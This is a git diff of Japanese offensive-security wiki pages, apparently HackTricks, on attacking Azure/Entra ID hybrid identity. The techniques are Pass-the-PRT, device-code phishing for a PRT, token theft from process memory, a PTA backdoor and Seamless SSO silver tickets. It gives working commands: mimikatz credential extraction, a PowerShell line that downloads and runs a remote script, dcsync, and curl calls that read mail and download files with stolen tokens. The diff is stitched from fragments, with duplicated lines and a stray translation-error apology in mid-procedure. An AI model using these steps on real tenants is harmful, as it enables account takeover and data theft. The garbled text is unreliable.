管理者はLSASSを使用してPRTを悪用することができます。たとえば、管理者はLSASSにコードを注入したり、内部CloudAP関数を呼び出してLSASSにトークンを生成させることができます。Dirk-janの研究では、管理者が「暗号APIを使用してLSASS内のPRTキーと相互作用できる」と指摘されています。実際には、LSASSの独自の関数を使用してAPIフックやRPCなどの技術を介して、利用可能な場合PRTクッキーを生成することを意味するかもしれません。別のアプローチは、セッションキーがメモリに表示される可能性のあるウィンドウを悪用することです。たとえば、PRTの更新やデバイス登録の瞬間に、使用のために暗号化されていない状態で表示されるときです。このような攻撃はかなり複雑で状況依存です。より直接的な管理者の戦術は、既存のトークンハンドルやキャッシュを悪用することです。LSASSは、メモリ内のアプリ用に最近発行されたリフレッシュトークンをキャッシュしますDPAPIで暗号化されています。決意のあるSYSTEM攻撃者は、これらのDPAPI保護されたトークンを抽出し管理者が取得できるユーザーのマスターキーを使用して、特定のアプリケーションのリフレッシュトークンを直接盗むことを試みるかもしれません。しかし、最も簡単で一般的な方法は、偽装と文書化されたトークンブローカーインターフェースの使用であり、これによりAzure ADが新しいトークンを発行することが保証されますすべての適切なクレームを持って暗号を解読しようとするのではなく。
## PRTのフィッシング
@@ -217,7 +280,7 @@ Admin/SYSTEMは、他のユーザーの実行中のセッションを偽装し
- **BrokerクライアントID**`29d9ed98-a469-4536-ade2-f981bc1d605e`)と**DRSスコープ/リソース**を使用した**デバイスコードによるユーザー認証**(例:**`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`**または**`https://enrollment.manage.microsoft.com/`**)。
- **ユーザーがEntra IDでデバイスを登録できる****デフォルト:許可**、ただし制限またはクォータ制限される可能性があります)。
- **デバイスコードを無効にする**CAポリシーや、ターゲットアプリに対して**準拠/ハイブリッドデバイスを要求する**ポリシーがないことこれらはPRTの発行を停止しませんが、保護されたアプリにアクセスするための**使用**をブロックします)。
- **デバイスコードを無効にする**CAポリシーや、ターゲットアプリに**準拠した/ハイブリッドデバイスを要求する**ポリシーがないことこれらはPRTの発行を停止しませんが、保護されたアプリにアクセスするための**使用**をブロックします)。
- **攻撃者が制御するホスト**でフローを実行し、トークン/デバイスキーを保持します。
**攻撃フロー**
@@ -229,15 +292,15 @@ curl -s -X POST \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
```
2. **被害者がMicrosoftのサイト**正規のUIにサインインし、**MFA**を完了すると、**攻撃者はBrokerクライアント用のDRSスコープ付きリフレッシュトークン**を受け取ります。
2. **被害者がMicrosoftのサイト**正規のUIにサインインし、**MFA**を完了すると、**攻撃者はBrokerクライアント用のDRSスコープリフレッシュトークン**を受け取ります。
3. **そのリフレッシュトークンを使用してテナントに不正なデバイスを登録**します(デバイスオブジェクトが作成され、被害者にリンクされます)。
4. **リフレッシュトークン + デバイスID/キー**を交換して**PRTにアップグレード**します → **攻撃者のデバイスにバウンドされたPRT**
5. **(オプションの続性)**: MFAが新鮮であれば、**長期的なパスワードレスアクセスを維持するためにWindows Hello for Businessキーを登録**します。
5. **(オプションの続性)**: MFAが新鮮であれば、**長期的なパスワードレスアクセスを維持するためにWindows Hello for Businessキーを登録**します。
6. **悪用**: **PRTを引き換え**(または**PRTクッキーを生成**)して、**ユーザーとしてExchange/Graph/SharePoint/Teams/カスタムアプリ**の**アクセストークン**を取得します。
6. **悪用**: **PRT**(または**PRTクッキーをミント**)を引き換えて、**ユーザーとしてExchange/Graph/SharePoint/Teams/カスタムアプリ**の**アクセストークン**を取得します。
### 公開ツールと概念実証

View File

@@ -1,34 +0,0 @@
# Az - Processes Memory Access Token
{{#include ../../../banners/hacktricks-training.md}}
## **基本情報**
[**このビデオ**](https://www.youtube.com/watch?v=OHKZkXC4Duw)で説明されているように、クラウドと同期された一部のMicrosoftソフトウェアExcel、Teamsなどは、**メモリ内にアクセス トークンを平文で保存する可能性があります**。したがって、プロセスの**メモリをダンプ**し、**JWTトークンをgrep**するだけで、MFAをバイパスしてクラウド内の被害者のいくつかのリソースにアクセスできる可能性があります。
手順:
1. お気に入りのツールを使用して、EntraIDユーザーと同期されたExcelプロセスをダンプします。
2. `string excel.dmp | grep 'eyJ0'`を実行し、出力内のいくつかのトークンを見つけます。
3. 最も興味のあるトークンを見つけ、それらに対してツールを実行します:
```bash
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
## Finally, download a file from that drive:
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
```
**この種のアクセストークンは、他のプロセス内にも存在する可能性があることに注意してください。**
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,24 +4,24 @@
## 基本情報
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra パススルー認証を使用すると、ユーザーは **オンプレミスおよびクラウドベースのアプリケーションに同じパスワードでサインイン**できます。この機能は、ユーザーにとってより良い体験を提供し、覚えるべきパスワードが1つ減るため、ITヘルプデスクのコストを削減します。ユーザーが Microsoft Entra ID を使用してサインインすると、この機能はユーザーのパスワードをオンプレミスの Active Directory に対して直接検証します。
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra パススルー認証を使用すると、ユーザーは**同じパスワードを使用してオンプレミスおよびクラウドベースのアプリケーションにサインイン**できます。この機能は、ユーザーにとってより良い体験を提供し、覚えるべきパスワードが1つ減るため、ITヘルプデスクのコストを削減します。ユーザーが Microsoft Entra ID を使用してサインインすると、この機能はユーザーのパスワードをオンプレミスの Active Directory に対して直接検証します。
PTA では **アイデンティティ****同期されます** が、**パスワードは同期されません**PHS のように)
PTA では**アイデンティティ**は**同期**されますが、**パスワード**は PHS のようには**同期**されません
認証はオンプレミスの AD で検証され、クラウドとの通信は **オンプレミスサーバー** で実行される **認証エージェント** によって行われます(オンプレミスの DC にある必要はありません)。
認証はオンプレミスの AD で検証され、クラウドとの通信は**オンプレミスサーバー**で実行される**認証エージェント**によって行われます(オンプレミスの DC にある必要はありません)。
### 認証フロー
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
1. **ログイン**するために、ユーザーは **Azure AD** にリダイレクトされ、**ユーザー名****パスワード** を送信します。
2. **資格情報****暗号化** され、Azure AD の **キュー** に設定されます。
3. **オンプレミス認証エージェント** がキューから **資格情報** を収集し、**復号化** します。このエージェントは **「パススルー認証エージェント」** または **PTA エージェント** と呼ばれます。
4. **エージェント****オンプレミス AD** に対して資格情報を **検証** し、**応答****Azure AD****返します**。応答が肯定的であれば、ユーザーの **ログインを完了** します。
1. **ログイン**するために、ユーザーは**Azure AD**にリダイレクトされ、**ユーザー名****パスワード**を送信します。
2. **資格情報**は**暗号化**され、Azure AD の**キュー**に設定されます。
3. **オンプレミス認証エージェント**がキューから**資格情報**を取得し、**復号化**します。このエージェントは**「パススルー認証エージェント」**または**PTAエージェント**と呼ばれます。
4. **エージェント**は**オンプレミスAD**に対して資格情報を**検証**し、**応答**Azure AD**返します**。応答が肯定的であれば、ユーザーの**ログインを完了**します。
> [!WARNING]
> 攻撃者が **PTA****侵害** すると、キュー内のすべての **資格情報** を(**平文**で)**見る** ことができます。\
> また、AzureAD に対して **任意の資格情報を検証** することもできます(スケルトンキーに似た攻撃)。
> 攻撃者が**PTA**を**侵害**すると、キュー内のすべての**資格情報**を(**平文**で)**見る**ことができます。\
> また、AzureADに対して**任意の資格情報を検証**することもできます(Skeleton key に似た攻撃)。
### 列挙
@@ -58,7 +58,7 @@ Get-Service -Name "AzureADConnectAuthenticationAgent"
```
## ピボティング
**PTA** **エージェント**が実行されている**Azure AD Connectサーバー**に**管理者**アクセスがある場合、**AADInternals**モジュールを使用して、**すべてのパスワード**を**検証するバックドア**を**挿入**することができます(すべてのパスワードが認証に対して有効になります):
**PTA** **エージェント**が実行されている**Azure AD Connect サーバー**に**管理者**アクセスがある場合、**AADInternals**モジュールを使用して、**すべてのパスワード**を**検証するバックドア**を**挿入**することができます(すべてのパスワードが認証に対して有効になります):
```bash
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals

View File

@@ -1,58 +0,0 @@
# Az AD Connect - ハイブリッドアイデンティティ
{{#include ../../../../banners/hacktricks-training.md}}
## 基本情報
**オンプレミスのActive Directory (AD)****Azure AD** の統合は、**Azure AD Connect** によって促進され、**シングルサインオン (SSO)** をサポートするさまざまな方法が提供されます。各方法は有用ですが、クラウドまたはオンプレミス環境を危険にさらす可能性のあるセキュリティ脆弱性を提示します:
- **パススルー認証 (PTA)**:
- オンプレミスADのエージェントが侵害される可能性があり、Azure接続のためのユーザーパスワードの検証が可能になりますオンプレからクラウドへ
- 新しい場所(クラウドからオンプレ)で認証を検証するために新しいエージェントを登録する可能性。
{{#ref}}
pta-pass-through-authentication.md
{{#endref}}
- **パスワードハッシュ同期 (PHS)**:
- 特権ユーザーのクリアテキストパスワードをADから抽出する可能性があり、高特権の自動生成されたAzureADユーザーの資格情報を含みます。
{{#ref}}
phs-password-hash-sync.md
{{#endref}}
- **フェデレーション**:
- SAML署名に使用される秘密鍵の盗難により、オンプレおよびクラウドのアイデンティティのなりすましが可能になります。
{{#ref}}
federation.md
{{#endref}}
- **シームレスSSO:**
- Kerberosシルバーチケットの署名に使用される `AZUREADSSOACC` ユーザーのパスワードの盗難により、任意のクラウドユーザーのなりすましが可能になります。
{{#ref}}
seamless-sso.md
{{#endref}}
- **クラウドKerberos信頼**:
- AzureADユーザー名とSIDを操作し、AzureADからTGTを要求することにより、グローバル管理者からオンプレドメイン管理者への昇格の可能性。
{{#ref}}
az-cloud-kerberos-trust.md
{{#endref}}
- **デフォルトアプリケーション**:
- アプリケーション管理者アカウントまたはオンプレミスの同期アカウントが侵害されると、ディレクトリ設定、グループメンバーシップ、ユーザーアカウント、SharePointサイト、およびOneDriveファイルの変更が可能になります。
{{#ref}}
az-default-applications.md
{{#endref}}
各統合方法に対して、ユーザーの同期が行われ、オンプレADに `MSOL_<installationidentifier>` アカウントが作成されます。特に、**PHS** と **PTA** の両方の方法は **シームレスSSO** を促進し、オンプレドメインに参加しているAzure ADコンピューターの自動サインインを可能にします。
**Azure AD Connect** のインストールを確認するには、以下のPowerShellコマンドを使用できます。このコマンドは、**AzureADConnectHealthSync** モジュールAzure AD Connectと共にデフォルトでインストールされるを利用します
```bash
Get-ADSyncConnector
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,250 +0,0 @@
# Az - Pass the PRT
{{#include ../../../banners/hacktricks-training.md}}
## PRTとは何か
{{#ref}}
az-primary-refresh-token-prt.md
{{#endref}}
### PRTがあるか確認する
```
Dsregcmd.exe /status
```
SSOステートセクションでは、**`AzureAdPrt`**が**YES**に設定されているのが確認できます。
<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>
同じ出力で、**デバイスがAzureに参加しているかどうか**(フィールド`AzureAdJoined`)も確認できます:
<figure><img src="../../../images/image (135).png" alt=""><figcaption></figcaption></figure>
## PRTクッキー
PRTクッキーは実際には**`x-ms-RefreshTokenCredential`**と呼ばれ、JSON Web TokenJWTです。JWTは**3つの部分**、**ヘッダー**、**ペイロード**、**署名**から構成され、`.`で区切られ、すべてURLセーフなbase64でエンコードされています。典型的なPRTクッキーは以下のヘッダーとボディを含みます
```json
{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}
```
実際の **Primary Refresh Token (PRT)****`refresh_token`** 内にカプセル化されており、これは Azure AD の制御下にあるキーによって暗号化されているため、その内容は私たちには不透明で復号不可能です。フィールド **`is_primary`** は、このトークン内にプライマリリフレッシュトークンがカプセル化されていることを示します。クッキーが意図された特定のログインセッションにバインドされ続けることを保証するために、`request_nonce``logon.microsoftonline.com` ページから送信されます。
### TPMを使用したPRTクッキーのフロー
**LSASS** プロセスは **KDFコンテキスト** を TPM に送信し、TPM は **セッションキー**(デバイスが AzureAD に登録されたときに収集され、TPM に保存されたもの)と前のコンテキストを使用して **キーを導出** します。この **導出されたキー****PRTクッキー (JWT) を署名するために使用されます。**
**KDFコンテキストは** AzureAD からのノンスと PRT を混ぜた **JWT****コンテキスト**(ランダムバイト)です。
したがって、PRT が TPM 内にあるために抽出できない場合でも、LSASS を悪用して **新しいコンテキストから導出されたキーを要求し、生成されたキーを使用してクッキーに署名する** ことが可能です。
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
## PRT悪用シナリオ
**通常のユーザー** として、LSASS に SSO データを要求することで **PRTの使用を要求する** ことが可能です。\
これは、**Web Account Manager**(トークンブローカー)からトークンを要求する **ネイティブアプリ** のように行うことができます。WAM はリクエストを **LSASS** に渡し、LSASS は署名された PRT アサーションを使用してトークンを要求します。また、**PRTクッキー** を **ヘッダー** として使用して Azure AS ログインページへのリクエストを認証する **ブラウザベース(ウェブ)フロー** でも行うことができます。
**SYSTEM** として、TPM によって保護されていない場合は **PRTを盗むことができ**、または **LSASS 内のPRTキーと相互作用する** ことができます。
## Pass-the-PRT攻撃の例
### 攻撃 - ROADtoken
この方法の詳細については [**この投稿を確認してください**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)。ROADtoken は正しいディレクトリから **`BrowserCore.exe`** を実行し、これを使用して **PRTクッキーを取得** します。このクッキーはその後、ROADtools を使用して認証し、**永続的なリフレッシュトークンを取得** するために使用できます。
有効な PRT クッキーを生成するために最初に必要なのはノンスです。\
これを取得するには:
```bash
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
$Params = @{
"URI" = $URL
"Method" = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
```
[**roadrecon**](https://github.com/dirkjanm/ROADtools)を使用するか:
```bash
roadrecon auth prt-init
```
次に、[**roadtoken**](https://github.com/dirkjanm/ROADtoken)を使用して新しいPRTを取得できます攻撃するユーザーのプロセスからツールを実行します
```bash
.\ROADtoken.exe <nonce>
```
申し訳ありませんが、具体的なテキストが提供されていないため、翻訳を行うことができません。翻訳が必要なテキストを提供してください。
```bash
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
```
次に、**生成されたクッキー**を使用して、Azure AD **Graph**またはMicrosoft Graphを使用して**トークン**を**生成**して**ログイン**できます:
```bash
# Generate
roadrecon auth --prt-cookie <prt_cookie>
# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
```
### 攻撃 - roadreconの使用
### 攻撃 - AADInternalsと漏洩したPRTの使用
`Get-AADIntUserPRTToken` **はユーザーのPRTトークンを取得します** Azure ADに参加したコンピュータまたはハイブリッド参加したコンピュータから。 `BrowserCore.exe`を使用してPRTトークンを取得します。
```bash
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken
# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
```
Mimikatzからの値がある場合は、AADInternalsを使用してトークンを生成することもできます:
```bash
# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."
# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}
# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"
# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))
# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser
# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
```
[https://login.microsoftonline.com](https://login.microsoftonline.com) に移動し、login.microsoftonline.com のすべてのクッキーをクリアして、新しいクッキーを入力します。
```
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)
```
次に、[https://portal.azure.com](https://portal.azure.com)に移動します。
> [!CAUTION]
> 残りはデフォルトのはずです。ページを更新でき、クッキーが消えないことを確認してください。消えた場合は、間違いを犯した可能性があり、プロセスを再度行う必要があります。消えない場合は、問題ありません。
### 攻撃 - Mimikatz
#### 手順
1. **PRT (Primary Refresh Token) が LSASS** (Local Security Authority Subsystem Service) から抽出され、後で使用するために保存されます。
2. **次にセッションキーが抽出されます**。このキーは最初に発行され、その後ローカルデバイスによって再暗号化されるため、DPAPI マスタキーを使用して復号化する必要があります。DPAPI (Data Protection API) に関する詳細情報は、これらのリソースで確認できます: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) およびその適用については、[Pass-the-cookie attack](az-pass-the-cookie.md)を参照してください。
3. セッションキーの復号化後、**PRT のための派生キーとコンテキストが取得されます**。これらは**PRT クッキーの作成に重要です**。具体的には、派生キーはクッキーを構成する JWT (JSON Web Token) の署名に使用されます。このプロセスの詳細な説明は、Dirk-jan によって提供されており、[こちら](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)でアクセスできます。
> [!CAUTION]
> PRT が TPM 内にあり、`lsass` 内にない場合、**mimikatz はそれを抽出できません**。\
> ただし、TPM からのコンテキストから派生キーを取得し、それを使用して**クッキーに署名することは可能です (オプション 3 を確認してください)**。
これらの詳細を抽出するために実行されたプロセスの**詳細な説明**は、こちらで確認できます: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
> [!WARNING]
> これは、2021年8月の修正後、他のユーザーの PRT トークンを取得するためには正確には機能しません。なぜなら、ユーザーのみが自分の PRT を取得できるからです (ローカル管理者は他のユーザーの PRT にアクセスできませんが、自分の PRT にはアクセスできます)。
**mimikatz** を使用して PRT を抽出できます:
```bash
mimikatz.exe
Privilege::debug
Sekurlsa::cloudap
# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
```
(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
**PRT**とラベル付けされた部分を**コピー**して保存します。\
また、下にハイライトされている**`ProofOfPossesionKey`**フィールドの**`KeyValue`**であるセッションキーも抽出します。これは暗号化されており、復号化するためにDPAPIマスタキーを使用する必要があります。
<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> PRTデータが表示されない場合、デバイスがAzure ADに参加していないために**PRTがない**か、**古いバージョン**のWindows 10を実行している可能性があります。
セッションキーを**復号化**するには、**SYSTEM**権限に**昇格**してコンピュータコンテキストで実行し、**DPAPIマスタキーを使用して復号化**できるようにする必要があります。次のコマンドを使用して実行できます:
```
token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
```
<figure><img src="../../../images/image (183).png" alt=""><figcaption></figcaption></figure>
#### オプション 1 - フル Mimikatz
- 現在、両方のコンテキスト値をコピーしたいです:
<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>
- そして、派生キー値を:
<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>
- 最後に、これらの情報を使用して**PRTクッキーを生成**できます:
```bash
Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
```
<figure><img src="../../../images/image (282).png" alt=""><figcaption></figcaption></figure>
- [https://login.microsoftonline.com](https://login.microsoftonline.com) に移動し、login.microsoftonline.com のすべてのクッキーをクリアして、新しいクッキーを入力します。
```
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)
```
- 次に [https://portal.azure.com](https://portal.azure.com) に移動します。
> [!CAUTION]
> 残りはデフォルトのままであるべきです。ページを更新でき、クッキーが消えないことを確認してください。消えた場合は、間違いを犯した可能性があり、プロセスを再度行う必要があります。消えない場合は、問題ありません。
#### オプション 2 - PRTを使用したroadrecon
- まずPRTを更新し、`roadtx.prt`に保存します:
```bash
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
```
- これで、`roadtx browserprtauth`を使用してインタラクティブブラウザで**トークンを要求**できます。`roadtx describe`コマンドを使用すると、アクセス トークンに MFA クレームが含まれていることがわかります。これは、今回使用した PRT にも MFA クレームが含まれていたためです。
```bash
roadtx browserprtauth
roadtx describe < .roadtools_auth
```
<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
#### オプション 3 - derived keys を使用した roadrecon
コンテキストと mimikatz によってダンプされた derived key があれば、roadrecon を使用して新しい署名付きクッキーを生成することが可能です:
```bash
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
```
## 参考文献
- [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/)
- [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,7 +12,7 @@
これは、[**PHS (パスワードハッシュ同期)**](phs-password-hash-sync.md) と [**PTA (パススルー認証)**](pta-pass-through-authentication.md) の両方でサポートされています。
デスクトップSSOは、**Kerberos**を使用して認証を行います。構成されると、Azure AD ConnectはオンプレミスADに**`AZUREADSSOACC$`というコンピュータアカウントを作成します**。`AZUREADSSOACC$`アカウントのパスワードは、構成中に**平文でEntra IDに送信されます**。
デスクトップSSOは、認証に**Kerberos**を使用しています。構成されると、Azure AD ConnectはオンプレミスADに**`AZUREADSSOACC$`というコンピュータアカウントを作成します**。`AZUREADSSOACC$`アカウントのパスワードは、構成中に**平文でEntra IDに送信されます**。
**Kerberosチケット**は、パスワードの**NTHash (MD4)**を使用して**暗号化**され、Entra IDは送信されたパスワードを使用してチケットを復号化します。
@@ -37,21 +37,21 @@ $searcher.FindOne()
## ピボット: オンプレ -> クラウド
> [!WARNING]
> この攻撃について知っておくべき主なことは、Entra ID と同期されたユーザーの TGT または特定の TGS を持っているだけで、クラウドリソースにアクセスできるということです。\
> これは、クラウドにログインするためにユーザーが使用するチケットだからです。
> この攻撃について知っておくべき主なことは、Entra IDと同期されたユーザーのTGTまたは特定のTGSを持っているだけで、クラウドリソースにアクセスできるということです。\
> これは、ユーザーがクラウドにログインすることを許可するチケットだからです。
その TGS チケットを取得するために、攻撃者は次のいずれかを持っている必要があります:
- **侵害されたユーザーの TGS:** メモリ内`HTTP/autologon.microsoftazuread-sso.com` へのチケットを持つユーザーのセッションを侵害すると、クラウドリソースにアクセスするためにそれを使用できます。
- **侵害されたユーザーの TGT:** たとえ持っていなくても、ユーザーが侵害されていれば、[Kekeo](https://x.com/gentilkiwi/status/998219775485661184)[Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9) などの多くのツールに実装されている偽の TGT 委任トリックを使用して取得できます。
- **侵害されたユーザーのハッシュまたはパスワード:** SeamlessPass は、この情報を使用してドメインコントローラーと通信し、TGT を生成し、その後 TGS を生成します。
- **ゴールデンチケット:** KRBTGT キーを持っていれば、攻撃されたユーザーに必要な TGT を作成できます。
- **AZUREADSSOACC$ アカウントのハッシュまたはパスワード:** この情報とユーザーのセキュリティ識別子 (SID) を使用して攻撃することで、サービスチケットを作成し、クラウド認証することが可能です(前の方法で実行されたように)。
そのTGSチケットを取得するために、攻撃者は次のいずれかを持っている必要があります:
- **侵害されたユーザーのTGS:** メモリ内`HTTP/autologon.microsoftazuread-sso.com`へのチケットを持つユーザーのセッションを侵害すると、これを使用してクラウドリソースにアクセスできます。
- **侵害されたユーザーのTGT:** たとえ持っていなくても、ユーザーが侵害されていれば、[Kekeo](https://x.com/gentilkiwi/status/998219775485661184)[Rubues](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)などの多くのツールに実装されている偽のTGT委任トリックを使用して取得できます。
- **侵害されたユーザーのハッシュまたはパスワード:** SeamlessPassは、この情報を使用してドメインコントローラーと通信し、TGTを生成し、その後TGSを生成します。
- **ゴールデンチケット:** KRBTGTキーを持っていれば、攻撃されたユーザーに必要なTGTを作成できます。
- **AZUREADSSOACC$アカウントのハッシュまたはパスワード:** この情報とユーザーのセキュリティ識別子SIDを使用して攻撃することで、サービスチケットを作成し、クラウド認証することが可能です(前の方法で実行されたように)。
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
[このブログ記事で説明されているように](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)、前述の要件のいずれかを持っていれば、侵害されたユーザーとして、または **`AZUREADSSOACC$`** アカウントのハッシュまたはパスワードを持っていれば、ツール **SeamlessPass** を使用してクラウドリソースにアクセスするのは非常に簡単です。
[このブログ記事で説明されているように](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)、前述の要件のいずれかを持っていれば、侵害されたユーザーとして、または**`AZUREADSSOACC$`**アカウントのハッシュまたはパスワードを持っていれば、ツール**SeamlessPass**を使用してクラウドリソースにアクセスするのは非常に簡単です。
最後に、TGT を使用して、ツール [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) を使用することが可能です:
最後に、TGTを使用して、ツール[**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)を使用することが可能です:
```bash
# Using the TGT to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
@@ -69,7 +69,7 @@ wmic useraccount get name,sid # Get the user SIDs
### AZUREADSSOACC$アカウントのハッシュを取得する
ユーザー**`AZUREADSSOACC$`の** **パスワード**は**決して変更されません**。したがって、ドメイン管理者はこの**アカウントのハッシュ**を危険にさらし、それを使用して**シルバーチケット**を作成し、**同期された任意のオンプレミスユーザー**でAzureに接続することができます。
ユーザー**`AZUREADSSOACC$`の** **パスワード**は**決して変わりません**。したがって、ドメイン管理者はこの**アカウントのハッシュ**を危険にさらし、それを使用して**シルバーチケット**を作成し、**同期された任意のオンプレミスユーザー**でAzureに接続することができます。
```bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
@@ -91,7 +91,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
> 現在の情報を使用すると、ドメイン内の任意のユーザーのために、前述のようにツール**SeamlessPass**を使用してazureおよびentraidトークンを取得できます。
> また、`AZUREADSSOACC$`アカウントの代わりに、なりすましたい被害者のパスワードのハッシュを取得するために、前述の技術(およびその他)を使用することもできます。
#### Silverチケットの作成
#### Creating Silver Tickets
ハッシュを使用して、**シルバーチケットを生成**できます:
```bash
@@ -108,18 +108,18 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
```
### SilverチケットをFirefoxで使用する
### Using Silver Tickets with Firefox
Silverチケットを利用するには、以下の手順を実行する必要があります:
チケットを利用するには、以下の手順を実行する必要があります:
1. **ブラウザを起動する:** Mozilla Firefoxを起動します。
2. **ブラウザを設定する:**
- **`about:config`**に移動します。
- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication)の設定を指定された[value](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)にします:
